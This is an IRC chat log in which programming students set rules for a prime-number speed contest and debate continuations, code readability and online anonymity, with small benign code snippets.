[2015-02-23T22:10:15-0500] <Hyper> hrm
[2015-02-23T22:10:23-0500] <Hyper> I feel like nth prime is at least a good place to start
[2015-02-23T22:10:34-0500] <Hyper> it's pretty easy to write and grade
[2015-02-23T22:10:37-0500] <+awe> calculating euler's totient
[2015-02-23T22:10:39-0500] <+awe> :D
[2015-02-23T22:11:16-0500] <assface> >tfw don't know what that is
[2015-02-23T22:11:28-0500] <Hyper> assface: you're not alone I had to look it up q.q
[2015-02-23T22:11:40-0500] <assface> it sounded familiar though
[2015-02-23T22:11:46-0500] <+awe> https://en.wikipedia.org/wiki/Euler%27s_totient_function
[2015-02-23T22:14:04-0500] <+awe> sum of all the positive integers less than or equal to n that are coprime to n.
[2015-02-23T22:14:22-0500] <+awe> spoiler alert: if you don't do it with sieve, it'll never finish.
[2015-02-23T22:15:00-0500] <Hyper> awe: again, I think nth prime is simpler, which is better for an initial run
[2015-02-23T22:15:25-0500] <+awe> I just don't understand the task.
[2015-02-23T22:15:51-0500] <Hyper> given an n, print the nth prime
[2015-02-23T22:16:10-0500] <+awe> Are we supposed to use the same algorithm?
[2015-02-23T22:16:12-0500] <assface> in the lowest time
[2015-02-23T22:16:26-0500] <Hyper> you can do it with any algorithm you want
[2015-02-23T22:16:32-0500] <Hyper> yes, lowest (user) time wins
[2015-02-23T22:16:48-0500] <+awe> But are we expected to use different algorithms?
[2015-02-23T22:16:50-0500] <Hyper> if people are actually interested I can write up actual rules
[2015-02-23T22:17:01-0500] <Hyper> awe: you can use any algorithm
[2015-02-23T22:17:03-0500] <+awe> I get that.
[2015-02-23T22:17:12-0500] <+awe> Are you allowed outside resources?
[2015-02-23T22:17:18-0500] <+awe> If so, we'll google for the best algorithms.
[2015-02-23T22:17:28-0500] <Hyper> you have to have written the code yourself
[2015-02-23T22:17:37-0500] <+awe> Are we allowed to look up algos though?
[2015-02-23T22:17:39-0500] <Hyper> yes
[2015-02-23T22:19:17-0500] <+awe> Then, we'll all get the same algorithm. 
[2015-02-23T22:19:34-0500] <Hyper> this is an implementation challenge, not an algorithm design challenge. 
[2015-02-23T22:20:05-0500] <+awe> Which is a weird competition given that some of us are systems programmers and others are dynamic programmers.
[2015-02-23T22:20:28-0500] <assface> maybe we can settle once and for all whether JIT > AOT
[2015-02-23T22:20:36-0500] <Hyper> lol
[2015-02-23T22:20:42-0500] <+awe> uwot
[2015-02-23T22:20:47-0500] <Hyper> like you can use literally anything you want
[2015-02-23T22:21:06-0500] <grantwu> how 'bout I find maself a savant
[2015-02-23T22:21:21-0500] <grantwu> And write a bash script that calls cat
[2015-02-23T22:21:33-0500] <Hyper> lemme put some restrictions on the rules, lol
[2015-02-23T22:22:12-0500] <Hyper> your program must do the computations at runtime (no tricksy compile-time generation of answers, no shelling out to a web service, no forking a daemon and querying that on subsequent runs)
[2015-02-23T22:23:12-0500] <Hyper> you're graded on User time, as returned by the unix time command
[2015-02-23T22:23:51-0500] <JacobEdelman_> I think I can calculuate erathosthenes sieve
[2015-02-23T22:23:54-0500] <JacobEdelman_> as fast as awe
[2015-02-23T22:23:55-0500] <JacobEdelman_> fyi
[2015-02-23T22:23:57-0500] <JacobEdelman_> :P
[2015-02-23T22:23:57-0500] <+awe> In Nim?
[2015-02-23T22:23:58-0500] <+awe> Yes.
[2015-02-23T22:24:00-0500] <JacobEdelman_> yes
[2015-02-23T22:24:01-0500] <+awe> In Python? No.
[2015-02-23T22:24:02-0500] <JacobEdelman_> wait
[2015-02-23T22:24:04-0500] <JacobEdelman_> python
[2015-02-23T22:24:08-0500] <JacobEdelman_> I think I might be able too
[2015-02-23T22:24:12-0500] <+awe> How?
[2015-02-23T22:24:15-0500] <JacobEdelman_> numpy ftw
[2015-02-23T22:24:17-0500] <Hyper> it'll run on the cheapest DO droplet because I can't be arsed to use a better one
[2015-02-23T22:24:19-0500] <+awe> ...
[2015-02-23T22:24:22-0500] <+awe> So, in C.
[2015-02-23T22:24:26-0500] <+awe> Yes, C can run as fast as Rust.
[2015-02-23T22:24:33-0500] <JacobEdelman_> so, wait nth prime?
[2015-02-23T22:24:36-0500] <Hyper> yeah
[2015-02-23T22:24:47-0500] <JacobEdelman_> Hyper: hscs.io has DO money
[2015-02-23T22:24:51-0500] <Hyper> gimme a minute i'll write the rules in a text file
[2015-02-23T22:24:54-0500] <JacobEdelman_> we may be able to host something
[2015-02-23T22:24:55-0500] <JacobEdelman_> but
[2015-02-23T22:24:59-0500] <JacobEdelman_> I need to sleep now
[2015-02-23T22:25:05-0500] <JacobEdelman_> email me what the heck you are talking about
[2015-02-23T22:25:07-0500] <Hyper> JacobEdelman_: I have a friend who works at DO I probably have more power than you
[2015-02-23T22:25:08-0500] <JacobEdelman_> me@jacobedelman.com
[2015-02-23T22:25:13-0500] <Hyper> :P
[2015-02-23T22:25:22-0500] <JacobEdelman_> Hyper: true, but if you'd don't want to spend money we have some
[2015-02-23T22:25:38-0500] <Hyper> I'll deal with exact details in a bit
[2015-02-23T22:26:02-0500] <Hyper> it sounds like people are interested
[2015-02-23T22:26:33-0500] <+awe> Hyper: no libraries but the standard library
[2015-02-23T22:27:29-0500] <Hyper> awe: hrm
[2015-02-23T22:27:40-0500] <Hyper> JacobEdelman_ will complain about lack of numpy
[2015-02-23T22:27:48-0500] <+awe> but then I can just pull a library that does this already?
[2015-02-23T22:27:56-0500] <Hyper> no
[2015-02-23T22:27:58-0500] <Hyper> because
[2015-02-23T22:28:02-0500] <Hyper> [22:17:28]  <Hyper>	you have to have written the code yourself
[2015-02-23T22:28:27-0500] <Hyper> meaning the code that generates primes has to be forged in your own hands
[2015-02-23T22:28:35-0500] <+awe> But what does that mean?
[2015-02-23T22:28:45-0500] <+awe> how much is "forged in your own hands"
[2015-02-23T22:28:48-0500] <+awe> there needs to be a definition.
[2015-02-23T22:28:59-0500] <+awe> For example, would taking a primality test from a library
[2015-02-23T22:29:01-0500] <Hyper> I'll know it when I see it :P
[2015-02-23T22:29:04-0500] <+awe> and mapping it over an infinite list of numbers
[2015-02-23T22:29:06-0500] <+awe> count?
[2015-02-23T22:29:11-0500] <Hyper> no
[2015-02-23T22:29:14-0500] <assface> no libraries allowed
[2015-02-23T22:29:15-0500] <+awe> filter isPrime [1..]
[2015-02-23T22:29:20-0500] <+awe> I say no libraries but the standard library.
[2015-02-23T22:29:22-0500] <+awe> That's the only fair way.
[2015-02-23T22:29:23-0500] <assface> ^
[2015-02-23T22:29:29-0500] <Hyper> eeh ok sure
[2015-02-23T22:29:40-0500] <assface> and no using math-based languages
[2015-02-23T22:29:56-0500] <Hyper> I mean you could just dump a source file into your thing and lel but that's cheating the "code has to be your own" rule
[2015-02-23T22:30:28-0500] <Hyper> I feel like a bit of this comes down to common sense and me drawing the line when it breaches that point
[2015-02-23T22:35:13-0500] <+awe> Hyper: well, sure, but that's cheating because you're not allowed to use extraneous libraries.
[2015-02-23T22:35:24-0500] <+awe> Hyper: the important part is that we're limiting this to general-purpose programming languages and only the standard library.
[2015-02-23T22:35:31-0500] <Hyper> yeah
[2015-02-23T22:35:36-0500] <Hyper> well
[2015-02-23T22:35:37-0500] <+awe> So, no sage.
[2015-02-23T22:35:42-0500] <Hyper> here's what I'm saying in the rules
[2015-02-23T22:35:42-0500] <+awe> and no Mathematica.
[2015-02-23T22:35:55-0500] <Hyper> If your language's standard library contains utilities for determining the primality of a number, those are prohibited as well
[2015-02-23T22:36:16-0500] <+awe> If a language has that in its standard library, its standard library is too big.
[2015-02-23T22:36:24-0500] <Hyper> yes. but some do
[2015-02-23T22:36:28-0500] <+awe> Really?
[2015-02-23T22:36:30-0500] <+awe> I've never seen that.
[2015-02-23T22:36:32-0500] <+awe> But yeah, I think that's fair.
[2015-02-23T22:36:34-0500] <Hyper> Mathematica probably does
[2015-02-23T22:36:41-0500] <+awe> Hence: must be general-purpose.
[2015-02-23T22:36:42-0500] <Hyper> and that doesn't prohibit people from using it
[2015-02-23T22:36:44-0500] <+awe> i.e. is not a math language.
[2015-02-23T22:36:47-0500] <Hyper> just those utilities
[2015-02-23T22:37:01-0500] <+awe> I mean, whatever.
[2015-02-23T22:37:15-0500] <+awe> In practice, I'll just bitch and moan if someone wins by using SAGE or something.
[2015-02-23T22:37:19-0500] <Hyper> it's not like this is a competition for prizes or anything
[2015-02-23T22:37:23-0500] <+awe> Yeah.
[2015-02-23T22:37:27-0500] <Hyper> it's more for fun
[2015-02-23T22:38:06-0500] <+awe> For the record, Sieve of Eratosthenes is faster than Sieve of Atkins.
[2015-02-23T22:38:11-0500] <+awe> Atkin*
[2015-02-23T22:38:14-0500] <+awe> Just to save some googling.
[2015-02-23T22:38:57-0500] <+awe> I'm pretty sure the sieve of eratosthenes is *really* easy to write in Haskell.
[2015-02-23T22:39:07-0500] <+awe> at least, naively.
[2015-02-23T22:39:13-0500] <Hyper> iirc it is
[2015-02-23T22:39:20-0500] <+awe> because infinite lists.
[2015-02-23T22:39:20-0500] <Hyper> naively is key here though :D
[2015-02-23T22:39:24-0500] <+awe> I know.
[2015-02-23T22:39:41-0500] <+awe> O(nlog log n) lol
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[2015-02-23T22:41:13-0500] <+awe> Hyper: I think even the optimized solution is really short.
[2015-02-23T22:41:50-0500] <+awe> primes :: [Integer]
[2015-02-23T22:41:50-0500] <+awe> primes = sieve [2..]
[2015-02-23T22:41:50-0500] <+awe>   where
[2015-02-23T22:41:50-0500] <+awe>     sieve (p:xs) = p : sieve [x|x <- xs, x `mod` p > 0]
[2015-02-23T22:41:54-0500] <+awe> Hyper: ^ naive implementation lol
[2015-02-23T22:41:59-0500] <Hyper> probably, but idk if it's very performant
[2015-02-23T22:43:23-0500] <LittleBobbyTables> What's the Atkins one...?
[2015-02-23T22:43:32-0500] <LittleBobbyTables> I've always thought of Sieve as Eratosthenes
[2015-02-23T22:43:54-0500] <+awe> It's theoretically faster at really high numbers
[2015-02-23T22:44:00-0500] <+awe> but those numbers require like 250 GB of RAM.
[2015-02-23T22:44:05-0500] <+awe> https://en.wikipedia.org/wiki/Sieve_of_Atkin
[2015-02-23T22:44:17-0500] <Hyper> lol
[2015-02-23T22:44:58-0500] <Hyper> ideas for amount of time we should give?
[2015-02-23T22:45:05-0500] <Hyper> I'm thinking max 1-2 weeks
[2015-02-23T22:45:21-0500] <Hyper> March 1 might be a nice date
[2015-02-23T22:48:11-0500] <Hyper> awe: http://pastebin.com/0A9BNdi9
[2015-02-23T22:48:14-0500] <Hyper> WIPWIPWIP
[2015-02-23T22:48:28-0500] <Hyper> but lmk if i'm missing anything major
[2015-02-23T22:49:00-0500] <LittleBobbyTables> tl;dr awe
[2015-02-23T22:50:31-0500] <+awe> "an optimized version of the ancient sieve of Eratosthenes which does some preliminary work and then marks off multiples of the square of each prime, rather than multiples of the prime itself."
[2015-02-23T22:51:05-0500] <Hyper> awe: yes, you can read the wikipedia article
[2015-02-23T22:51:08-0500] <Hyper> 2pro
[2015-02-23T22:51:11-0500] <+awe> Hyper: he asked for a TLDR.
[2015-02-23T22:51:12-0500] <LittleBobbyTables> thanks
[2015-02-23T22:51:14-0500] <Hyper> oh
[2015-02-23T22:51:17-0500] <Hyper> lol
[2015-02-23T22:51:22-0500] <+awe> Hyper: I gave him a sentence from the wikipedia article that described it succinctly.
[2015-02-23T22:51:27-0500] <Hyper> awe: rules though
[2015-02-23T22:51:29-0500] <Hyper> http://pastebin.com/0A9BNdi9
[2015-02-23T22:51:39-0500] <Hyper> thoughts?
[2015-02-23T22:51:43-0500] <+awe> Hyper: sure
[2015-02-23T22:51:45-0500] <+awe> Hyper: it's fine
[2015-02-23T22:57:07-0500] <+awe> Argh.
[2015-02-23T22:57:08-0500] <+awe> Fuck.
[2015-02-23T22:57:12-0500] <Hyper> jeez amazon ships shit fucking fast I just ordered a thing 2 hours ago and it's already on the way
[2015-02-23T22:57:15-0500] <+awe> I'm going to have to implement both sieves to see which one I can reasonably write faster.
[2015-02-23T22:58:19-0500] <+awe> Hyper: no precached tables, right?
[2015-02-23T22:58:55-0500] <assface> question: does POSIX count as the C standard lib?
[2015-02-23T22:59:10-0500] <assface> because I want to do threading
[2015-02-23T22:59:28-0500] <+awe> Yeah.
[2015-02-23T22:59:36-0500] <assface> eggcelent
[2015-02-23T22:59:47-0500] <assface> oh wait im stupid, they put it into C11
[2015-02-23T23:01:50-0500] <+awe> Hyper: because the fastest implementations of the Sieve of Atkins all involve giant precached tables of squares of numbers and stuff.
[2015-02-23T23:01:50-0500] <Hyper> awe: correct, see rule 4
[2015-02-23T23:02:21-0500] <+awe> So, everything must be calculated at runtime.
[2015-02-23T23:02:22-0500] <+awe> Period.
[2015-02-23T23:02:38-0500] <Hyper> correct
[2015-02-23T23:02:38-0500] <+awe> Can't have tables of squares
[2015-02-23T23:02:39-0500] <+awe> Ok.
[2015-02-23T23:02:43-0500] <+awe> So, yeah, definitely not doing Atkins.
[2015-02-23T23:02:49-0500] <hardmath123> A sufficiently clever program would embed the program of squares within its logic.
[2015-02-23T23:03:17-0500] <+awe> hardmath123: inb4 article on calculating prime numbers in your type system
[2015-02-23T23:03:23-0500] <Hyper> see rule 4e
[2015-02-23T23:03:33-0500] <hardmath123> awe: ?
[2015-02-23T23:03:46-0500] <+awe> typechecking your program calculates prime numbers.
[2015-02-23T23:03:46-0500] <+awe> lol
[2015-02-23T23:04:07-0500] <Hyper> if I catch your program doing that I'll be impressed and then eliminating
[2015-02-23T23:04:10-0500] <Hyper> :)
[2015-02-23T23:04:22-0500] <+awe> It'd be neat.
[2015-02-23T23:04:30-0500] <Hyper> hence the impressed first
[2015-02-23T23:04:45-0500] <+awe> I'll probably write a good one in Rust and then with any extra time write a Haskell one for lulz.
[2015-02-23T23:04:45-0500] <Hyper> but then I'll be angry and eliminate you with extreme prejudice
[2015-02-23T23:05:07-0500] <hardmath123> by the way, my entry is (..+)\1+
[2015-02-23T23:05:22-0500] <Hyper> hardmath123: idk what that even
[2015-02-23T23:09:37-0500] <+awe> It's a regex.
[2015-02-23T23:09:49-0500] <+awe> There's a regex for calculating prime numbers.
[2015-02-23T23:11:18-0500] <hardmath123> awe++.
[2015-02-23T23:11:33-0500] <+awe> It makes me want to harm myself.
[2015-02-23T23:12:27-0500] <grantwu> don't do that.
[2015-02-23T23:12:39-0500] <hardmath123> Make sure you op someone on the channel before you do.
[2015-02-23T23:12:45-0500] <assface> ^
[2015-02-23T23:22:22-0500] <+awe> hardmath123: there's like a 90% chance it'd be you.
[2015-02-23T23:22:31-0500] <+awe> 10% bob_twinkles
[2015-02-23T23:22:37-0500] <+awe> would be higher for bob_twinkles but he's not around as frequently.
[2015-02-23T23:25:29-0500] <+awe> Fill: I need to teach you about deref coercion. ;)
[2015-02-23T23:27:40-0500] bob_twinkles (bob_twinkle@pdgn-8g0.v84.qmba05.IP) joined the channel
[2015-02-23T23:27:44-0500] <+awe> hi bob_twinkles 
[2015-02-23T23:28:19-0500] <bob_twinkles> 'ello
[2015-02-23T23:28:24-0500] <bob_twinkles> Verison sucks really a lot
[2015-02-23T23:31:12-0500] <hardmath123> awe: i wrote an irc faq for my school's channel <http://backtick.town/~kc/irc-faq.txt>. feel free to adapt for pdgn.
[2015-02-23T23:34:54-0500] <+awe> For what?
[2015-02-23T23:35:11-0500] <+awe> bob_twinkles: you just missed me saying that if I was going to off myself, you'd have a 10% chance of becoming the op.
[2015-02-23T23:35:33-0500] <+awe> bob_twinkles: and explaining that it'd be higher but I feel like you're not around as frequently as hardmath123.
[2015-02-23T23:36:27-0500] <+awe> hardmath123: We're generally in favor of using real names on the channel---it's ok to ask
[2015-02-23T23:36:27-0500] <+awe> people "who are you in real life?".
[2015-02-23T23:36:33-0500] <+awe> hardmath123: can you not use the phrase real life?
[2015-02-23T23:36:35-0500] <+awe> hardmath123: This is real life.
[2015-02-23T23:36:41-0500] <+awe> hardmath123: Us communicating online right now is still real life.
[2015-02-23T23:37:20-0500] <hardmath123> You don't know who I am.
[2015-02-23T23:37:37-0500] <hardmath123> I mean, I guess you could ask alok, and believe him.
[2015-02-23T23:37:48-0500] <+awe> I know who you are.
[2015-02-23T23:37:50-0500] <+awe> You are hardmath123.
[2015-02-23T23:37:54-0500] <hardmath123> But technically, I could be a pedophile in his mom's basement.
[2015-02-23T23:37:56-0500] <+awe> You are every bit of information you've ever conveyed to me.
[2015-02-23T23:38:02-0500] <+awe> That's all that I need to know about you to know that I like oyu.
[2015-02-23T23:38:03-0500] <+awe> you*
[2015-02-23T23:38:26-0500] <hardmath123> To ask "who are you in real life" is to ask "what is the person that is associated with the words i read from you"
[2015-02-23T23:38:26-0500] <grantwu> People are values!
[2015-02-23T23:38:43-0500] <+awe> grantwu: IMO, everyone and everything is data. ;)
[2015-02-23T23:38:49-0500] <hardmath123> I'll go change "real life" to "meatspace".
[2015-02-23T23:38:54-0500] <+awe> Yeah, I prefer meatspace.
[2015-02-23T23:38:58-0500] <+awe> Or the physical world.
[2015-02-23T23:39:03-0500] <grantwu> lol yeah FP staff here have a mantra... functions are values
[2015-02-23T23:39:28-0500] <+awe> Well, that is the principal difference in functional programming.
[2015-02-23T23:39:34-0500] <+awe> principle*
[2015-02-23T23:39:45-0500] <+awe> Nope.
[2015-02-23T23:39:46-0500] <+awe> I was right the first time.
[2015-02-23T23:39:50-0500] <hardmath123> fixed.
[2015-02-23T23:40:18-0500] <+awe> "*meatspace is the set-complement of cyberspace."
[2015-02-23T23:40:18-0500] <+awe> lol
[2015-02-23T23:40:21-0500] <+awe> I appreciate this definition.
[2015-02-23T23:40:27-0500] <grantwu> Wait so are continuations basically
[2015-02-23T23:40:36-0500] <grantwu> Control-flow escape hatches
[2015-02-23T23:40:41-0500] <hardmath123> yeah
[2015-02-23T23:40:47-0500] <hardmath123> that's a good way of thinking baout it
[2015-02-23T23:40:58-0500] <hardmath123> basically, the trick is that the continuation will ALWAYS be evaluated
[2015-02-23T23:40:59-0500] <+awe> It's just state as a value.
[2015-02-23T23:41:10-0500] <hardmath123> this is not obvious.
[2015-02-23T23:41:49-0500] <hardmath123> it's like "if the lambda calls the continuation, then all's well. if not, then just proceed normally in execution"
[2015-02-23T23:41:59-0500] <hardmath123> so you can implement try.catch as something like
[2015-02-23T23:43:11-0500] <hardmath123> (if (eq? (call-with-current-continuation (lambda (throw) (.... (throw 'Exception) .....))) 'Exception) ... ...)
[2015-02-23T23:43:25-0500] <hardmath123> plus or minus details
[2015-02-23T23:43:43-0500] <+awe> lol.
[2015-02-23T23:44:12-0500] <+awe> I don't like continuations though.
[2015-02-23T23:44:38-0500] <grantwu> Regardless of your like or dislike of them, they're my homework :P
[2015-02-23T23:46:49-0500] <+awe> That is unfortunate.
[2015-02-23T23:47:31-0500] <grantwu> :(
[2015-02-23T23:47:47-0500] <grantwu> I suppos
[2015-02-23T23:47:54-0500] <grantwu> Although how else do you implement backtracking?
[2015-02-23T23:48:11-0500] <hardmath123> You can implement backtracking with raw recursion.
[2015-02-23T23:48:24-0500] <hardmath123> It's just that call/cc solutions are ridiculously cooler.
[2015-02-23T23:48:51-0500] <grantwu> Uh... it says here in notes something about efficiency
[2015-02-23T23:49:58-0500] <hardmath123> be careful with your tail call elimination and you might be alright
[2015-02-23T23:50:21-0500] <hardmath123> continuations are by definition tail call eliminated, so you don't need to worry about being tail-recursive
[2015-02-23T23:50:23-0500] <hardmath123> explicitly
[2015-02-23T23:53:00-0500] <+awe> by ridiculously cooler, he means harder to follow.
[2015-02-23T23:54:03-0500] <hardmath123> right, just like an inductive argument is harder to follow for an Algebra I student, but beautiful nonetheless.
[2015-02-23T23:54:18-0500] <grantwu> meep
[2015-02-23T23:54:23-0500] <+awe> But the goal of code is to be easy to follow.
[2015-02-23T23:54:23-0500] <grantwu> harder to follow I can confirm
[2015-02-23T23:54:27-0500] <+awe> Also, that's not really valid.
[2015-02-23T23:54:31-0500] <hardmath123> So is the goal of proofwriting.
[2015-02-23T23:55:00-0500] <+awe> Well, right, but an inductive argument is harder to follow for a noob but ultimately expresses the argument more succinctly and more clearly.
[2015-02-23T23:55:06-0500] <+awe> Continuations don't do that.
[2015-02-23T23:55:22-0500] <+awe> They do it less clearly.
[2015-02-23T23:55:40-0500] <hardmath123> No, they're clearer.
[2015-02-23T23:56:07-0500] <hardmath123> https://gist.github.com/Hardmath123/7862258
[2015-02-23T23:56:20-0500] <grantwu> Does anyone here cook?
[2015-02-23T23:58:32-0500] <+awe> grantwu: Yes.
[2015-02-23T23:58:46-0500] <grantwu> awe do you have a meal plan this year or no
[2015-02-23T23:58:51-0500] <+awe> Yes.
[2015-02-23T23:58:53-0500] <grantwu> o
[2015-02-23T23:58:55-0500] <+awe> I don't cook at school because it's a chore.
[2015-02-23T23:58:59-0500] <grantwu> Ah...
[2015-02-23T23:59:03-0500] <+awe> If I lived off campus, I wouldn't have a meal plan.
[2015-02-23T23:59:07-0500] <grantwu> I might try to cook all my meals next year
[2015-02-23T23:59:09-0500] <grantwu> idek
[2015-02-23T23:59:14-0500] <+awe> i.e. if I had a kitchen, I'd cook all my meals.
[2015-02-24T00:00:17-0500] <+awe> hardmath123: /shrug, it might be clearer in this case.
[2015-02-24T00:00:29-0500] <+awe> hardmath123: I can't read this because of the lack of spaces around operators anyway.
[2015-02-24T00:00:37-0500] <+awe> plus, Python.
[2015-02-24T00:00:50-0500] <+awe> But I think in general, I'd prefer tail recursion over continuations.
[2015-02-24T00:01:18-0500] <hardmath123> Tail recursion amounts to iteration in many cases.
[2015-02-24T00:02:28-0500] <hardmath123> Continuations let you create new language structures. Can your favorite language define try/catch or lazy list-streams within itself?
[2015-02-24T00:02:42-0500] <+awe> Yes.
[2015-02-24T00:02:48-0500] <+awe> I'm aware of what it does, too.
[2015-02-24T00:02:50-0500] <+awe> That's my problem with it.
[2015-02-24T00:02:55-0500] <+awe> It's just like mutable syntax IMO.
[2015-02-24T00:03:03-0500] <+awe> I want solutions that are idiomatic to the language.
[2015-02-24T00:03:05-0500] <hardmath123> The syntax hasn't changed.
[2015-02-24T00:03:06-0500] <+awe> Not solutions that invent new idioms.
[2015-02-24T00:03:14-0500] <+awe> It's not about syntax.
[2015-02-24T00:03:15-0500] <+awe> It's about behavior.
[2015-02-24T00:03:28-0500] <hardmath123> The behavior is well-defined.
[2015-02-24T00:03:30-0500] <+awe> In Haskell, you can implicitly write folds everywhere.
[2015-02-24T00:03:34-0500] <+awe> Or you can write foldl.
[2015-02-24T00:03:40-0500] <+awe> If you do the latter, everyone knows exactly what you're doing immediately.
[2015-02-24T00:03:51-0500] <+awe> In the former, people have to stop and think about what you wrote.
[2015-02-24T00:03:56-0500] <hardmath123> From a user's perspective, you don't even need to know that there are continuations involved behind the scenes.
[2015-02-24T00:04:29-0500] <grantwu> I feel like I'm really good at starting arguments in this chat .-.
[2015-02-24T00:04:48-0500] <+awe> grantwu: no, I'm just really good at starting arguments about things. ;)
[2015-02-24T00:04:51-0500] <grantwu> oh
[2015-02-24T00:05:04-0500] <grantwu> We should blame JacobEdelman for bringing me here regardless
[2015-02-24T00:05:12-0500] <+awe> I'm not mad about it.
[2015-02-24T00:05:15-0500] <+awe> I like talking about this stuff.
[2015-02-24T00:05:31-0500] <+awe> hardmath123: My issue is specifically that you're inventing new idioms.
[2015-02-24T00:05:56-0500] <+awe> hardmath123: most code in a language without try/catch will not contain try/catch and will use some other error handling.
[2015-02-24T00:06:22-0500] <+awe> hardmath123: But then you come in and you're like "look, I have try/catch" and now people have to try to reason about that even though it's unfamiliar.
[2015-02-24T00:06:29-0500] <+awe> It's okay if it's provided as a library.
[2015-02-24T00:06:37-0500] <+awe> Although, adopting that library would be poor.
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[2015-02-24T00:07:38-0500] <grantwu> holy shit
[2015-02-24T00:08:17-0500] <+awe> grantwu: ?
[2015-02-24T00:08:18-0500] <hardmath123> So, should you not use lazy lists because they're a separate idiom that can be implemented within a language?
[2015-02-24T00:08:30-0500] <grantwu> I think I just uh
[2015-02-24T00:08:32-0500] <grantwu> got it
[2015-02-24T00:08:37-0500] <grantwu> er no
[2015-02-24T00:08:38-0500] <grantwu> but
[2015-02-24T00:08:40-0500] <grantwu> ignore me.
[2015-02-24T00:08:41-0500] <+awe> hardmath123: in your own code, you probably shouldn't write new idioms that aren't a library.
[2015-02-24T00:08:42-0500] <grantwu> carry on.
[2015-02-24T00:09:00-0500] <+awe> hardmath123: the canonical example is the one I gave about folds
[2015-02-24T00:09:18-0500] <+awe> hardmath123: You can totally just write recursive functions with accumulators, but the better solution 99% of the time is going to be using fold because that's what people will know.
[2015-02-24T00:09:25-0500] <grantwu> I figured out how to do binary tree backtracking I think
[2015-02-24T00:14:17-0500] <grantwu> It's utterly unreadable but oh so beautiful
[2015-02-24T00:14:30-0500] <+awe> lol
[2015-02-24T00:14:33-0500] <+awe> >unreadable
[2015-02-24T00:14:34-0500] <+awe> >beautiful
[2015-02-24T00:14:34-0500] <+awe> wat
[2015-02-24T00:14:49-0500] <grantwu> Hey some people think perl one-liners are beautiful
[2015-02-24T00:15:08-0500] <+awe> And those people are bad.
[2015-02-24T00:15:18-0500] <grantwu> fun op_maker tgt [] sucs kill = kill ()
[2015-02-24T00:15:20-0500] <grantwu>   (*There is no way to insert operations into an empty list to produce an int*)
[2015-02-24T00:15:22-0500] <grantwu>   | op_maker tgt [sing] sucs kill =
[2015-02-24T00:15:24-0500] <grantwu>       if (tgt = sing) then (sucs []) else (kill ())
[2015-02-24T00:15:26-0500] <grantwu>   | op_maker tgt (x::y::ss) sucs kill =
[2015-02-24T00:15:28-0500] <grantwu>         op_maker tgt ((x+y)::ss) (fn ops => sucs(ADD::ops))
[2015-02-24T00:15:30-0500] <grantwu>           (fn () => op_maker tgt ((x*y)::ss) (fn ops => sucs(MULT::ops)) kill)
[2015-02-24T00:15:32-0500] <grantwu> y
[2015-02-24T00:15:36-0500] <grantwu> ignore the trailing y
[2015-02-24T00:16:16-0500] <+awe> hardmath123: "All I ask is that you please keep discussions PG-rated."
[2015-02-24T00:16:16-0500] <grantwu> Holy shit it typechecked on the first try :O
[2015-02-24T00:16:19-0500] <+awe> hardmath123: that's a lame-ass rule.
[2015-02-24T00:16:33-0500] <+awe> grantwu: neat, nice work.
[2015-02-24T00:16:54-0500] <grantwu> I giggled a bit at the base case.
[2015-02-24T00:16:57-0500] <grantwu> op_maker is kill!
[2015-02-24T00:17:11-0500] <grantwu> "where were you when op_maker was kill"
[2015-02-24T00:17:34-0500] <+awe> hardmath123: also, "It's equally ok to refuse to disclose
[2015-02-24T00:17:34-0500] <+awe> your identity, with the understanding that we will be slightly more skeptical
[2015-02-24T00:17:34-0500] <+awe> of you until we get to know you better."
[2015-02-24T00:17:38-0500] <+awe> hardmath123: that's interesting.
[2015-02-24T00:17:48-0500] <+awe> hardmath123: Why would you be more skeptical of someone because they don't tell you their legal name?
[2015-02-24T00:18:24-0500] <+awe> Few people here know LittleBobbyTables's full name, but I don't think that makes him less credible. 
[2015-02-24T00:18:27-0500] <+awe> Same goes for Pharyngeal.
[2015-02-24T00:18:36-0500] <+awe> and calc0000.
[2015-02-24T00:20:15-0500] <+awe> hardmath123: "We encourage
[2015-02-24T00:20:15-0500] <+awe> anthropomorphization of bots, but nevertheless require you to somehow make it
[2015-02-24T00:20:15-0500] <+awe> clear that a bot is a bot."
[2015-02-24T00:20:19-0500] <+awe> hardmath123: I recommend setting +B.
[2015-02-24T00:20:23-0500] awebot has userhost awebot@pdgn-4jd.4t2.2bemd8.IP and real name "awebot"
[2015-02-24T00:20:23-0500] awebot is connecting from awebot@104.236.15.100 104.236.15.100
[2015-02-24T00:20:23-0500] awebot is on +#pdgn 
[2015-02-24T00:20:23-0500] awebot is connected on raphus.pdgn.co (The Pdgn Network)
[2015-02-24T00:20:23-0500] awebot is using modes +x
[2015-02-24T00:20:23-0500] awebot is using a secure connection
[2015-02-24T00:20:23-0500] awebot signed on at February 3, 2015 at 11:00:12 PM EST and has been idle for 6 hours, 5 minutes, 44 seconds
[2015-02-24T00:24:15-0500] <Hyper> grantwu: awe is great at starting arguments, can confirm
[2015-02-24T00:24:35-0500] <Hyper> I'm pretty sure we got into an argument where we actually agreed with each other at at least one point
[2015-02-24T00:25:51-0500] <+awe> Hyper: you agree with me more frequently than a lot of the other people here.
[2015-02-24T00:27:03-0500] <Hyper> awe: we have fairly similar backgrounds :P
[2015-02-24T00:27:10-0500] <+awe> Right.
[2015-02-24T00:27:25-0500] <+awe> Same with bob_twinkles.
[2015-02-24T00:27:50-0500] <+awe> whereas JacobEdelman and hardmath123 have a very different background.
[2015-02-24T00:28:24-0500] <hardmath123> awe: The identity thing is actually partially because I keep getting people who refuse to say who they are just to annoy us ("guess who I am!"). This seems like a reasonable incentive to not do that.
[2015-02-24T00:28:32-0500] <+awe> Ah, okay.
[2015-02-24T00:28:42-0500] <Hyper> hardmath123: guess who I am!
[2015-02-24T00:28:43-0500] <hardmath123> awe: I believe +B is a foonetic, not a freenode thing
[2015-02-24T00:29:01-0500] <grantwu> hardmath123: guess who I am!
[2015-02-24T00:29:03-0500] <+awe> That's very different than discrediting someone because they wish to remain anonymous.
[2015-02-24T00:29:12-0500] <grantwu> darn it says right in my nick...
[2015-02-24T00:29:14-0500] <+awe> And maybe. My server supports +B.
[2015-02-24T00:29:42-0500] <hardmath123> You have to admit, though, some things feel more legitimate when someone claims responsibility for them rather than shrouding their origin in anonymity.
[2015-02-24T00:30:00-0500] <+awe> Only because we've been conditioned to feel that way.
[2015-02-24T00:30:04-0500] <+awe> I try to work against that though.
[2015-02-24T00:30:18-0500] <hardmath123> Like I feel bitcoin would be much more widely accepted if some researchers got the Nobel prize in economics for publishing it.
[2015-02-24T00:30:47-0500] <+awe> It's grown easier since I have a number of good friends who's legal names I do not know at all (or did not know for a significant portion of the friendship).
